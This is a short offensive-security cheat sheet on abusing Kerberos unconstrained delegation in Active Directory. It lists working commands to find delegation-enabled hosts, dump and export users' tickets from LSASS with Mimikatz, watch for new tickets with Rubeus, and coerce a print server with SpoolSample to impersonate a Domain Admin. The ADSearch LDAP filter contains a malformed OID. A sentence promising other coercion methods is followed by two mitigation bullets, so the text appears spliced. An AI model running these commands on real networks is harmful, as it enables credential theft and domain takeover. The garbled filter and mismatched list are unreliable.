This a feature that a Domain Administrator can set to any Computer inside the domain. Then, anytime a user logins onto the Computer, a copy of the TGT of that user is going to be sent inside the TGS provided by the DC and saved in memory in LSASS. So, if you have Administrator privileges on the machine, you will be able to dump the tickets and impersonate the users on any machine.
So if a domain admin logins inside a Computer with "Unconstrained Delegation" feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc).
# List unconstrained computers
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.1135220.127.116.113:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way
# Monitor logins and export new tickets
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs
Load the ticket of Administrator (or victim user) in memory with Mimikatz or Rubeus for a Pass the Ticket. More info: https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/ More information about Unconstrained delegation in ired.team.
If an attacker is able to compromise a computer allowed for "Unconstrained Delegation", he could trick a Print server to automatically login against it saving a TGT in the memory of the server. Then, the attacker could perform a Pass the Ticket attack to impersonate the user Print server computer account.
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
Here are other ways to try to force an authentication:
- Limit DA/Admin logins to specific services
- Set "Account is sensitive and cannot be delegated" for privileged accounts.